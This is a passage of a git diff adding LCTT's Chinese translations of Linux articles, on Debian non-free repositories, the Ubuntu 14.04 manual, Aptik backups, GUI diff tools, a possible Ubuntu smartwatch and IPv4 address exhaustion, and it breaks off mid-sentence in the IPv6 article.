+[4]:https://www.kernel.org/pub/linux/kernel/v3.x/testing/linux-3.19-rc1.tar.xz \ No newline at end of file diff --git a/published/201412/20141224 Linux FAQs with Answers--How to install non-free packages on Debian.md b/published/201412/20141224 Linux FAQs with Answers--How to install non-free packages on Debian.md new file mode 100644 index 0000000000..9dd6a49b9b --- /dev/null +++ b/published/201412/20141224 Linux FAQs with Answers--How to install non-free packages on Debian.md @@ -0,0 +1,47 @@ +Linux有问必答:如何在Debian下安装闭源软件包 +================================================================================ +> **提问**: 我需要在Debian下安装特定的闭源设备驱动。然而, 我无法在Debian中找到并安装软件包。如何在Debian下安装闭源软件包? + +Debian是一个拥有[48,000][1]软件包的发行版. 这些软件包被分为三类: main, contrib 和 non-free, 主要是根据许可证要求, 参照[Debian开源软件指南][2] (DFSG)。 + +main软件仓库包括符合DFSG的开源软件。contrib也包括符合DFSG的开源软件,但是依赖闭源软件来编译或者执行。non-free包括不符合DFSG的、可再分发的闭源软件。main仓库被认为是Debian项目的一部分,但是contrib和non-free不是。后两者只是为了用户的方便而维护和提供。 + +如果你想一直能够在Debian上安装闭源软件包,你需要添加contrib和non-free软件仓库。这样做,用文本编辑器打开 /etc/apt/sources.list 添加"contrib non-free""到每个源。 + +下面是适用于 Debian Wheezy的 /etc/apt/sources.list 例子。 + + deb http://ftp.us.debian.org/debian/ wheezy main contrib non-free + deb-src http://ftp.us.debian.org/debian/ wheezy main contrib non-free + + deb http://security.debian.org/ wheezy/updates main contrib non-free + deb-src http://security.debian.org/ wheezy/updates main contrib non-free + + # wheezy-updates, 之前叫做 'volatile' + deb http://ftp.us.debian.org/debian/ wheezy-updates main contrib non-free + deb-src http://ftp.us.debian.org/debian/ wheezy-updates main contrib non-free + +![](https://farm8.staticflickr.com/7562/16063758036_0ef8fce075_b.jpg) + +修改完源后, 运行下面命令去下载contrib和non-free软件仓库的文件索引。 + + $ sudo apt-get update + +如果你用 aptitude, 运行下面命令。 + + $ sudo aptitude update + +现在你在Debian上搜索和安装任何闭源软件包。 + +![](https://farm9.staticflickr.com/8593/16089610915_b638fce55d_c.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/install-nonfree-packages-debian.html + +译者:[mtunique](https://github.com/mtunique) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://packages.debian.org/stable/allpackages?format=txt.gz +[2]:https://www.debian.org/social_contract.html#guidelines diff --git a/published/201412/20141230 Second Edition of Ubuntu Manual 14.04 LTS Is Ou.md b/published/201412/20141230 Second Edition of Ubuntu Manual 14.04 LTS Is Ou.md new file mode 100644 index 0000000000..0b9122ce52 --- /dev/null +++ b/published/201412/20141230 Second Edition of Ubuntu Manual 14.04 LTS Is Ou.md @@ -0,0 +1,36 @@ +Ubuntu参考手册14.04 LTS第二版正式发布 +============================================== + +> 初学者可以在手册里获得很有用的信息 + +### Ubuntu参考手册团队表示第二版手册现在已经发布并且可以免费下载 ### + +![](http://i1-linux.softpedia-static.com/screenshots/Ubuntu-Manual_1.jpg) + +Ubuntu手册按照惯例会对应相应的LTS发行版本,那么唯一合理的解释就是,现在发布的手册对应于6个月前发布的Ubuntu 14.04 LTS(Trusty Tahr)。与其他书籍一样,特别是大型书籍,手册内容总会出现各种错误或者也许已经和现状不匹配。不过不管怎样,电子书的修正和更新总要方便一些。 + +你也许会觉得奇怪,一个方便上手的免费操作系统竟然会有一个参考手册,或许一个社区就已经足够了。但是,总是有一些新用户连基本的操作都不懂,因此,有一本可以指明最基本的东西的手册拿在手里总是一个很好不过的事情。 + +### 这是“Ubuntu 14.04 LTS入门”手册的第二个版本 ### + +使用Ubuntu操作系统的用户会发现,它和之前用过的其他操作系统有很大的差异,例如Windows和Max OS X。这很正常,并且你也不是任何时候都可以在网上找到一个特定的功能或者组件的相关资源和信息。有一个可以说明Ubuntu 14.04 LTS基本特性的手册可以提供一些帮助。 + +“《Ubuntu 14.04 入门 E2》对于Ubuntu操作系统而言,是一个很全面的初学者指南手册。它采用的是开源许可协议,你可以自由下载、阅读、修改以及共享。这个手册可以帮助你熟悉如何处理日常的工作,例如上网、听音乐或者扫描文档等等。尤其值得一提的是,这个文档浅显易懂,适合各个层次的用户。” + +“这个快速入门手册可以让你很容易的利用你的计算机做一些事情,而不会陷入技术细节当中。在手册的帮助下,新用户可以很快的熟悉Unity桌面,”更多信息参考[官方网站][1]。 + +这是该参考手册的第二版,制作手册的团队具有丰富的经验。就算你已经是一个Ubuntu用户,看一看这个手册也没有什么坏处,因为你总能从其中学到一些东西。你可以在Softpedia[下载Ubuntuy参考手册14.04第二版][2]。 + +---- + +via: http://news.softpedia.com/news/Second-Edition-of-Ubuntu-Manual-14-04-LTS-Is-Out-468395.shtml + +作者:[Silviu Stahie][a] +译者:[zhouj-sh](https://github.com/zhouj-sh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:http://ubuntu-manual.org/ +[2]:http://linux.softpedia.com/get/Documentation/Ubuntu-Manual-53530.shtml diff --git a/published/201501/20100105 How to Backup and Restore Your Apps and PPAs in Ubuntu Using Aptik.md b/published/201501/20100105 How to Backup and Restore Your Apps and PPAs in Ubuntu Using Aptik.md new file mode 100644 index 0000000000..5b422eaef6 --- /dev/null +++ b/published/201501/20100105 How to Backup and Restore Your Apps and PPAs in Ubuntu Using Aptik.md @@ -0,0 +1,155 @@ +如何使用Aptik来备份和恢复Ubuntu中的Apps和PPAs +================================================================================ +![00_lead_image_aptik](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x300x00_lead_image_aptik.png.pagespeed.ic.n3TJwp8YK_.png) + +当你想重装Ubuntu或者仅仅是想安装它的一个新版本的时候,如果有个便捷的方法来重新安装之前的应用并且重置其设置会很方便的。此时 *Aptik* 粉墨登场,它可以帮助你轻松实现。 + +Aptik(自动包备份和恢复)是一个可以用在Ubuntu,Linux Mint 和其他基于Debian以及Ubuntu的Linux发行版上的应用,它允许你将已经安装过的包括软件库、下载包、安装的应用和主题、用户设置在内的PPAs(个人软件包存档)备份到外部的U盘、网络存储或者类似于Dropbox的云服务上。 + +注意:当我们在此文章中说到输入某些东西的时候,如果被输入的内容被引号包裹,请不要将引号一起输入进去,除非我们有特殊说明。 + +想要安装Aptik,需要先添加其PPA。使用Ctrl + Alt + T快捷键打开一个新的终端窗口。输入以下文字,并按回车执行。 + + sudo apt-add-repository –y ppa:teejee2008/ppa + +当提示输入密码的时候,输入你的密码然后按回车。 + +![01_command_to_add_repository](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x99x01_command_to_add_repository.png.pagespeed.ic.UfVC9QLj54.png) + +在命令行提示符输入下边的命令,来确保资源库已经是最新版本。 + + sudo apt-get update + +![02_update_command](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x252x02_update_command.png.pagespeed.ic.m9pvd88WNx.png) + +更新完毕后,你就完成了安装Aptik的准备工作。接下来输入以下命令并按回车: + + sudo apt-get install aptik + +注意:你可能会看到一些有关于获取不到包更新的错误提示。不过别担心,如果这些提示看起来跟下边图片中类似的话,你的Aptik的安装就没有任何问题。 + +![03_command_to_install_aptik](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x416x03_command_to_install_aptik.png.pagespeed.ic.1jtHysRO9h.png) + +安装过程会被显示出来。其中一个被显示出来的消息会提到此次安装会使用掉多少磁盘空间,然后提示你是否要继续,按下“y”再按回车,继续安装。 + +![04_do_you_want_to_continue](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x416x04_do_you_want_to_continue.png.pagespeed.ic.WQ15_UxK5Z.png) + +当安装完成后,输入“Exit”并按回车或者按下左上角的“X”按钮,关闭终端窗口。 + +![05_closing_terminal_window](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x416x05_closing_terminal_window.png.pagespeed.ic.9QoqwM7Mfr.png) + +在正式运行Aptik前,你需要设置好备份目录到一个U盘、网络驱动器或者类似于Dropbox和Google Drive的云帐号上。这儿的例子中,我们使用的是Dropbox。 + +![06_creating_backup_folder](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x243x06_creating_backup_folder.png.pagespeed.ic.7HzR9KwAfQ.png) + +一旦设置好备份目录,点击启动栏上方的“Search”按钮。 + +![07_opening_search](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x177x07_opening_search.png.pagespeed.ic.qvFiw6_sXa.png) + +在搜索框中键入 “aptik”。结果会随着你的输入显示出来。当Aptik图标显示出来的时候,点击它打开应用。 + +![08_starting_aptik](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x338x08_starting_aptik.png.pagespeed.ic.8fSl4tYR0n.png) + +此时一个对话框会显示出来要求你输入密码。输入你的密码并按“OK”按钮。 + +![09_entering_password](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x337x09_entering_password.png.pagespeed.ic.yanJYFyP1i.png) + +Aptik的主窗口显示出来了。从“Backup Directory”下拉列表中选择“Other…”。这个操作允许你选择你已经建立好的备份目录。 + +注意:在下拉列表的右侧的 “Open” 按钮会在一个文件管理窗口中打开选择目录功能。 + +![10_selecting_other_for_directory](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x533x10_selecting_other_for_directory.png.pagespeed.ic.dHbmYdAHYx.png) + +在 “Backup Directory” 对话窗口中,定位到你的备份目录,然后按“Open”。 + +注意:如果此时你尚未建立备份目录或者想在备份目录中新建个子目录,你可以点“Create Folder”来新建目录。 + +![11_choosing_directory](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x470x11_choosing_directory.png.pagespeed.ic.E-56x54cy9.png) + +点击“Software Sources (PPAs).”右侧的 “Backup”来备份已安装的PPAs。 + +![12_clicking_backup_software_sources](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x530x13_selecting_all_software_sources.png.pagespeed.ic.zDFiDGfnks.png) + +然后“Backup Software Sources”对话窗口显示出来。已安装的包和对应的源(PPA)同时也显示出来了。选择你需要备份的源(PPAs),或者点“Select All”按钮选择所有源。 + +![13_selecting_all_software_sources](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x530x13_selecting_all_software_sources.png.pagespeed.ic.zDFiDGfnks.png) + +点击 “Backup” 开始备份。 + +![14_clicking_backup_for_all_software_sources](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x530x14_clicking_backup_for_all_software_sources.png.pagespeed.ic.n5h_KnQVZa.png) + +备份完成后,一个提示你备份完成的对话窗口会蹦出来。点击 “OK” 关掉。 + +一个名为“ppa.list”的文件出现在了备份目录中。 + +![15_closing_finished_dialog_software_sources](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x530x15_closing_finished_dialog_software_sources.png.pagespeed.ic.V25-KgSXdY.png) + +接下来,“Downloaded Packages (APT Cache)”的项目只对重装同样版本的Ubuntu有用处。它会备份下你系统缓存(/var/cache/apt/archives)中的包。如果你是升级系统的话,可以跳过这个条目,因为针对新系统的包会比现有系统缓存中的包更加新一些。 + +备份和恢复下载过的包,这可以在重装Ubuntu,并且重装包的时候节省时间和网络带宽。因为一旦你把这些包恢复到系统缓存中之后,他们可以重新被利用起来,这样下载过程就免了,包的安装会更加快捷。 + +如果你是重装相同版本的Ubuntu系统的话,点击 “Downloaded Packages (APT Cache)” 右侧的 “Backup” 按钮来备份系统缓存中的包。 + +注意:当你备份下载过的包的时候是没有二级对话框出现的。你系统缓存 (/var/cache/apt/archives) 中的包会被拷贝到备份目录下一个名叫 “archives” 的文件夹中,当整个过程完成后会出现一个对话框来告诉你备份已经完成。 + +![16_downloaded_packages_backed_up](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x544x16_downloaded_packages_backed_up.png.pagespeed.ic.z8ysuwzQAK.png) + +有一些包是你的Ubuntu发行版的一部分。因为安装Ubuntu系统的时候会自动安装它们,所以它们是不会被备份下来的。例如,火狐浏览器在Ubuntu和其他类似Linux发行版上都是默认被安装的,所以默认情况下,它不会被选择备份。 + +像[package for the Chrome web browser][1]这种系统安装完后才安装的包或者包含 Aptik 的包会默认被选择上。这可以方便你备份这些后安装的包。 + +按照需要选择想要备份的包。点击 “Software Selections” 右侧的 “Backup” 按钮备份顶层包。 + +注意:依赖包不会出现在这个备份中。 + +![18_clicking_backup_for_software_selections](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x530x18_clicking_backup_for_software_selections.png.pagespeed.ic.QI5D-IgnP_.png) + +备份目录中出现了两个名为 “packages.list” 和“packages-installed.list” 的文件,并且会弹出一个通知你备份完成的对话框。点击 ”OK“关闭它。 + +注意:“packages-installed.list”文件包含了所有的包,而 “packages.list” 在包含了所有包的前提下还指出了那些包被选择上了。 + +![19_software_selections_backed_up](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x530x19_software_selections_backed_up.png.pagespeed.ic.LVmgs6MKPL.png) + +要备份已安装软件的设置的话,点击 Aptik 主界面 “Application Settings” 右侧的 “Backup” 按钮,选择你要备份的设置,点击“Backup”。 + +注意:如果你要选择所有设置,点击“Select All”按钮。 + +![20_backing_up_app_settings](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x530x20_backing_up_app_settings.png.pagespeed.ic.7_kgU3Dj_m.png) + +被选择的配置文件统一被打包到一个名叫 “app-settings.tar.gz” 的文件中。 + +![21_zipping_settings_files](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x530x21_zipping_settings_files.png.pagespeed.ic.dgoBj7egqv.png) + +当打包完成后,打包后的文件被拷贝到备份目录下,另外一个备份成功的对话框出现。点击“OK”关掉。 + +![22_app_settings_backed_up](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x530x22_app_settings_backed_up.png.pagespeed.ic.Mb6utyLJ3W.png) + +放在 “/usr/share/themes” 目录的主题和放在 “/usr/share/icons” 目录的图标也可以备份。点击 “Themes and Icons” 右侧的 “Backup” 来进行此操作。“Backup Themes” 对话框默认选择了所有的主题和图标。你可以安装需要的、取消一些不要的,然后点击 “Backup” 进行备份。 + +![22a_backing_up_themes_and_icons](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x530x22a_backing_up_themes_and_icons.png.pagespeed.ic.KXa8W3YhyF.png) + +主题被打包拷贝到备份目录下的 “themes” 文件夹中,图标被打包拷贝到备份目录下的 “icons” 文件夹中。然后成功提示对话框出现,点击“OK”关闭它。 + +![22b_themes_and_icons_backed_up](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x530x22b_themes_and_icons_backed_up.png.pagespeed.ic.ejjRaymD39.png) + +一旦你完成了需要的备份,点击主界面左上角的“X”关闭 Aptik 。 + +![23_closing_aptik](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x542x23_closing_aptik.png.pagespeed.ic.pNk9Vt3--l.png) + +备份过的文件已存在于你选择的备份目录中,可以随时查看。 + +![24_backup_files_in_directory](http://cdn5.howtogeek.com/wp-content/uploads/2014/12/650x374x24_backup_files_in_directory.png.pagespeed.ic.vwblOfN915.png) + +当你重装Ubuntu或者安装新版本的Ubuntu后,在新的系统中安装 Aptik 并且将备份好的文件置于新系统中使用。运行 Aptik,并使用每个条目的 “Restore” 按钮来恢复你的软件源、应用、包、设置、主题以及图标。 + +-------------------------------------------------------------------------------- + +via: http://www.howtogeek.com/206454/how-to-backup-and-restore-your-apps-and-ppas-in-ubuntu-using-aptik/ + +作者:Lori Kaufman +译者:[Ping](https://github.com/mr-ping) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.howtogeek.com/203768 diff --git a/published/201501/20140701 Easy File Comparisons With These Great Free Diff Tools.md b/published/201501/20140701 Easy File Comparisons With These Great Free Diff Tools.md new file mode 100644 index 0000000000..9dc13a69b4 --- /dev/null +++ b/published/201501/20140701 Easy File Comparisons With These Great Free Diff Tools.md @@ -0,0 +1,166 @@ +文件轻松比对,伟大而自由的比较软件们 +================================================================================ + +文件比较工具用于比较计算机上的文件的内容,找到他们之间相同与不同之处。比较的结果通常被称为diff。 + +diff同时也是一个基于控制台的、能输出两个文件之间不同之处的著名的文件比较程序的名字。diff是于二十世纪70年代早期,在Unix操作系统上被开发出来的。diff将会把两个文件之间不同之处的部分进行输出。 + +Linux拥有很多不错的GUI工具,能使你能清楚的看到两个文件或同一文件不同版本之间的不同之处。这次我从自己最喜欢的GUI比较工具中选出了五个推荐给大家。除了其中的一个,其他的都是开源的。 + +这些应用程序可以让你更清楚的看到文件或目录的差别,能合并有差异的文件,可以解决冲突并将其输出成一个新的文件或补丁,其也用于那些预览和备注文件改动的产品上(比如,在源代码合并到源文件树之前,要先接受源代码的改变)。因此它们是非常重要的软件开发工具。它们可以帮助开发人员们对文件进行处理,不停的把文件转来转去。这些比较工具不仅仅能用于显示源代码文件中的不同之处;他们还适用于很多种的文本文件。可视化的特性使文件比较变得容易、简单。 + +---------- + +###Meld + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-Meld.png) + +Meld是一个适用于Gnome桌面的、开源的、图形化的文件差异查看和合并的应用程序。它支持2到3个文件的同时比较、递归式的目录比较、处于版本控制(Bazaar, Codeville, CVS, Darcs, Fossil SCM, Git, Mercurial, Monotone, Subversion)之下的目录比较。还能够手动或自动合并文件差异。 + +Meld的重点在于帮助开发人员比较和合并多个源文件,并在他们最喜欢的版本控制系统下能直观的浏览改动过的地方。 + +功能包括 + +- 原地编辑文件,即时更新 +- 进行两到三个文件的比较及合并 +- 在显示的差异和冲突之间的导航 +- 使用插入、改变和冲突这几种标记可视化展示本地和全局的差异 +- 内置正则表达式文本过滤器,可以忽略不重要的差异 +- 语法高亮度显示(使用可选的gtksourceview) +- 将两到三个目录中的文件逐个进行比较,显示新建,缺失和替换过的文件 +- 对任何有冲突或差异的文件直接打开比较界面 +- 可以过滤文件或目录以避免以忽略某些差异 +- 被改动区域的自动合并模式使合并更容易 +- 也有一个简单的文件管理 +- 支持多种版本控制系统,包括Git, Mercurial, Bazaar 和 SVN +- 在提交前开启文件比较来检查改动的地方和内容 +- 查看文件版本状态 +- 还能进行简单的版本控制操作(例如,提交、更新、添加、移动或删除文件) +- 继承自同一文件的两个文件进行自动合并 +- 标注并在中间的窗格显示所有有冲突的变更的基础版本 +- 显示并合并同一文件的无关的独立修改 +- 锁定只读性质的基础文件以避免出错 +- 可以整合到已有的命令行界面中,包括gitmergetool +- 国际化支持 +- 可视化使文件比较更简单 + +- 网址: [meldmerge.org][1] +- 开发人员: Kai Willadsen +- 证书: GNU GPL v2 +- 版本号: 1.8.5 + +---------- + +###DiffMerge + +![](http://www.sourcegear.com/images/screenshots/diffmerge/img_merge_linux.png) + +DiffMerge是一个可以在Linux、Windows和OS X上运行的,可以可视化文件的比较和合并的应用软件。 + +功能包括: + +- 图形化显示两个文件之间的差别。包括插入行,高亮标注以及对编辑的全面支持 +- 图形化显示三个文件之间的差别。(安全的前提下)允许自动合并,并对最终文件可以随意编辑 +- 并排显示两个文件夹的比较,显示哪一个文件只存在于其中一个文件夹而不存在于另外的一个文件夹,还能一对一的将完全相同的、等价的或不同的文件配对 +- 规则设置和选项让你可以个性化它的外观和行为 +- 基于Unicode,可以导入多种编码的字符 +- 跨平台工具 + +- 网址: [sourcegear.com/diffmerge][2] +- 开发人员: SourceGear LLC +- 证书: Licensed for use free of charge (not open source) +- 版本号: 4.2 + +---------- + +###xxdiff + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-xxdiff.png) + +xxdiff是个开源的图形化的可进行文件、目录比较及合并的工具。 + +xxdiff可以用于显示两到三个文件或两个目录的差别,还能产生一个合并后的版本。被比较的两到三个文件会并排显示,并将有区别的文字内容用不同颜色高亮显示以便于识别。 + +这个程序是个非常重要的软件开发工具。他可以图形化的显示两个文件或目录之间的差别,合并有差异的文件,其也用于那些预览和备注文件改动的产品上(比如,在源代码合并到源文件树之前,要先接受源代码的改变) + +功能包括: + +- 比较两到三个文件,或是两个目录(浅层或递归) +- 横向高亮显示差异 +- 交互式的文件合并,可视化的输出和保存 +- 可以辅助合并的评论/监管 +- 自动合并文件中时不合并 CVS 冲突,并以两个文件显示以便于解决冲突 +- 可以用其它的比较程序计算差异:适用于GNU diff、SGI diff和ClearCase的cleardiff,以及所有与这些程序输出相似的文件比较程序。 +- 可以使用资源文件实现完全的个性化设置 +- 用起来感觉和Rudy Wortel或SGI的xdiff差不多,与桌面系统无关 +- 功能和输出可以和脚本轻松集成 + +- 网址: [furius.ca/xxdiff][3] +- 开发人员: Martin Blais +- 证书: GNU GPL +- 版本号: 4.0 + +---------- + +###Diffuse + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-Diffuse.png) + +Diffuse是个开源的图形化工具,可用于合并和比较文本文件。Diffuse能够比较任意数量的文件,并排显示,并提供手动行匹配调整,能直接编辑文件。Diffuse还能从bazaar、CVS、darcs, git, mercurial, monotone, Subversion和GNU RCS 库中获取版本用于比较及合并。 + +功能包括: + +- 比较任意数量的文件,并排显示(多方合并) +- 行匹配可以被用户人工矫正 +- 直接编辑文件 +- 语法高亮 +- 支持Bazaar, CVS, Darcs, Git, Mercurial, Monotone, RCS, Subversion和SVK +- 支持Unicode +- 可无限撤销 +- 易用的键盘导航 + +- 网址: [diffuse.sourceforge.net][] +- 开发人员: Derrick Moser +- 证书: GNU GPL v2 +- 版本号: 0.4.7 + +---------- + +###Kompare + +![](http://www.linuxlinks.com/portal/content/reviews/Utilities/Screenshot-Kompare.png) + +Kompare是个开源的GUI前端程序,可以对不同源文件之间差异的可视化和合并。Kompare可以比较文件或文件夹内容的差异。Kompare支持很多种diff格式,并提供各种选项来设置显示的信息级别。 + +不论你是个想比较源代码的开发人员,还是只想比较一下研究论文手稿与最终文档的差异,Kompare都是个有用的工具。 + +Kompare是KDE桌面环境的一部分。 + +功能包括: + +- 比较两个文本文件 +- 递归式比较目录 +- 显示diff产生的补丁 +- 将补丁合并到一个已存在的目录 +- 可以让你在编译时更轻松 + +- 网址: [www.caffeinated.me.uk/kompare/][5] +- 开发者: The Kompare Team +- 证书: GNU GPL +- 版本号: Part of KDE + +-------------------------------------------------------------------------------- + +via: http://www.linuxlinks.com/article/2014062814400262/FileComparisons.html + +作者:Frazer Kline +译者:[H-mudcup](https://github.com/H-mudcup) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://meldmerge.org/ +[2]:https://sourcegear.com/diffmerge/ +[3]:http://furius.ca/xxdiff/ +[4]:http://diffuse.sourceforge.net/ +[5]:http://www.caffeinated.me.uk/kompare/ diff --git a/published/201501/20140910 With Apple Watch Unveiled, Could an Ubuntu Smartwatch Be Next.md b/published/201501/20140910 With Apple Watch Unveiled, Could an Ubuntu Smartwatch Be Next.md new file mode 100644 index 0000000000..1be6871302 --- /dev/null +++ b/published/201501/20140910 With Apple Watch Unveiled, Could an Ubuntu Smartwatch Be Next.md @@ -0,0 +1,72 @@ +Apple Watch之后,下一个智能手表会是Ubuntu吗? +=== + +**苹果借助‘Apple Watch’的发布,证实了其进军穿戴式电子设备市场的长期传言** + +![Ubuntu Smartwatch – good idea?](http://www.omgubuntu.co.uk/wp-content/uploads/2014/09/ubuntu-galaxy-gear-smartwatch.png) + +Ubuntu智能手表 - 好主意? + +拥有一系列稳定功能、硬件解决方案和应用合作伙伴关系的支持,手腕穿戴设备被许多公司预示为“人与技术关系的新篇章”。 + +它的到来,以及用户兴趣的提升,有可能意味着Ubuntu需要跟进一个为智能手表定制的Ubuntu版本。 + +### 大的方面还是成功的 ### + +苹果在正确的时间加入了快速发展的智能手表行列。手腕穿戴设备功能的界限并不是一成不变。失败的设计、简陋的用户界面以及主流用户使用穿戴技术功能的弱定制化,这些都见证了硬件类产品仍然很脆弱 - 这一因素使得Cupertino把时间花费在Apple Watch上。 + +> ‘分析师说:超过2200万的智能手表将在今年销售’ + +去年全球范围内可穿戴设备的销售数量(包括健身追踪器)仅仅1000万。今年,分析师希望设备的销量可以超过2200万 - 不包括苹果手表,因为其直到2015年初才开始零售。 + +其实,我们很容易就可以看出增长的来源。今年九月初柏林举办的IFA 2014展览会,展示了一系列来自主要制造商们的可穿戴设备,包括索尼和华硕。大多数搭载着Google最新发布的安卓穿戴平台。 + +更成熟的一个表现是:安卓穿戴设备打破了与形式因素保持一致的新奇争论,进而呈现出一致且令人信服的用户方案。和新的苹果手表一样,它紧密地连接在一个现存的智能手机生态系统上。 + +但Ubuntu手腕穿戴系统是否能与之匹配,成为一个实用案例,目前还不清楚。 + +#### 目前还没有Ubuntu智能手表的计划 #### + +Ubuntu操作系统的通用性将多种设备的严格标准与统一的未来目标联合在一起,Canonical已经将目标指向了智能电视,平板电脑和智能手机。公司自家的显示服务Mir,甚至被用来为所有尺寸的屏幕提供驱动接口(虽然不是公认1.5"的)。 + +今年年初,Canonical社区负责人Jono Bacon被问到是否有制作Ubuntu智能手表的打算。Bacon提供了他对这个问题的看法:“为[Ubuntu触摸设备]路线增加额外的形式因素只会减缓现有的进度”。 + +在Ubuntu手机发布两周年之际,我们还是挺赞同他的想法的。 + +###除了A面还有B面!### + +但是并不是没有希望的。在[几个月之后的一次电话采访][1]中,Ubuntu创始人Mark Shuttleworth提到,可穿戴技术和智能电视、平板电脑、智能手机一样,都在公司计划当中。 + +> “Ubuntu因其在电话中的完美设计变得独一无二,但同时它的设计也能够满足其他生态系统,从穿戴设备到PC机。” + +然而这还没得到具体的证实,它更像一个指针,在某个方向给我们提供一个乐观的指引。 + +#### 不大可能 — 但这就是原因所在 #### + +Canonical并不反对利用牢固的专利进军市场。事实上,它恰恰是公司DNA基因的一部分 — 犹如服务器端的RHEL,桌面端的Windows,智能手机上的安卓... + +设备上的Ubuntu系统被制作成可以在更小的屏幕上扩展和适配运行,甚至在小如手表一样的屏幕上。当普通的代码基础已经在手机、平板电脑、桌面和TV上准备就绪,在同样的方向上,如果看不到社区的努力是十分令人吃惊的。 + +但是我之所以不认为它会从Canonical发生,至少目前还没有,是基于今年早些时候Jono Bacon的个人思想得出的结论:时间和努力。 + +Tim Cook在他的主题演讲中说道:“*我们并没有追随iPhone,也没有缩水用户界面,将其强硬捆绑在你的手腕上。*”这是一个很明显的陈述。为如此小的屏幕设计UI和UX模型、通过交互原则工作、对硬件和输入模式的推崇,这些都不是容易的事。 + +可穿戴技术仍然是一个新兴的市场。在这个阶段,Canonical可能会在探寻的过程中浪费一些发展、设计和商业上的机会。如果在一些更为紧迫的领域落后了,造成的后果远比眼前利益的损失更严重。 + +打一场持久战,耐心等待,看哪些努力成功哪些会失败,这是一条更难的路线,但是却更适合Ubuntu,就如同今天它做的一样。在新产品出现之前,Canonical把力量用在现存的产品上是更好的选择(这是一些已经来迟的理论) + +想更进一步了解什么是Ubuntu智能手表,点击下面的[视频][2],里面展示了一个交互的Unity主题皮肤Tizen(它已经支持Samsung Galaxy Gear智能手表)。 + +--- + +via: http://www.omgubuntu.co.uk/2014/09/ubuntu-smartwatch-apple-iwatch + +作者:[Joey-Elijah Sneddon][a] +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[Mr小眼儿](https://github.com/tinyeyeser) + +本文由[LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://www.omgubuntu.co.uk/2014/03/ubuntu-tablets-coming-year +[2]:https://www.youtube.com/embed/8Zf5dktXzEs?feature=oembed diff --git a/published/201501/20140912 What' s wrong with IPv4 and Why we are moving to IPv6.md b/published/201501/20140912 What' s wrong with IPv4 and Why we are moving to IPv6.md new file mode 100644 index 0000000000..da89601580 --- /dev/null +++ b/published/201501/20140912 What' s wrong with IPv4 and Why we are moving to IPv6.md @@ -0,0 +1,87 @@ +IPv6:IPv4犯的错,为什么要我来弥补 +================================================================================ + +在过去的十年间,IPv6 本来应该得到很大的发展,但事实上这种好事并没有降临。由此导致了一个结果,那就是大部分人都不了解 IPv6 的一些知识:它是什么,怎么使用,以及,为什么它会存在? + +![IPv4 and IPv6 Comparison](http://www.tecmint.com/wp-content/uploads/2014/09/ipv4-ipv6.gif) + +IPv4 和 IPv6 的区别 + +### IPv4 做错了什么? ### + +自从1981年发布了 RFC 791 标准以来我们就一直在使用 **IPv4**。在那个时候,电脑又大又贵还不多见,而 IPv4 号称能提供**40亿条 IP 地址**,在当时看来,这个数字好大好大。不幸的是,这么多的 IP 地址并没有被充分利用起来,地址与地址之间存在间隙。举个例子,一家公司可能有**254(2^8-2)**条地址,但只使用其中的25条,剩下的229条被空占着,以备将来之需。于是这些空闲着的地址不能服务于真正需要它们的用户,原因就是网络路由规则的限制。最终的结果是在1981年看起来那个好大好大的数字,在2014年看起来变得好小好小。 + +互联网工程任务组(**IETF**)在90年代初指出了这个问题,并提供了两套解决方案:无类型域间选路(**CIDR**)以及私有IP地址。在 CIDR 出现之前,你只能选择三种网络地址长度:**24 位** (共16,777,214个可用地址), **20位** (共1,048,574个可用地址)以及**16位** (共65,534个可用地址)。CIDR 出现之后,你可以将一个网络再划分成多个子网。 + +举个例子,如果你需要**5个 IP 地址**,你的 ISP 会为你提供一个子网,里面的主机地址长度为3位,也就是说你最多能得到**6个地址**(LCTT:抛开子网的网络号,3位主机地址长度可以表示0~7共8个地址,但第0个和第7个有特殊用途,不能被用户使用,所以你最多能得到6个地址)。这种方法让 ISP 能尽最大效率分配 IP 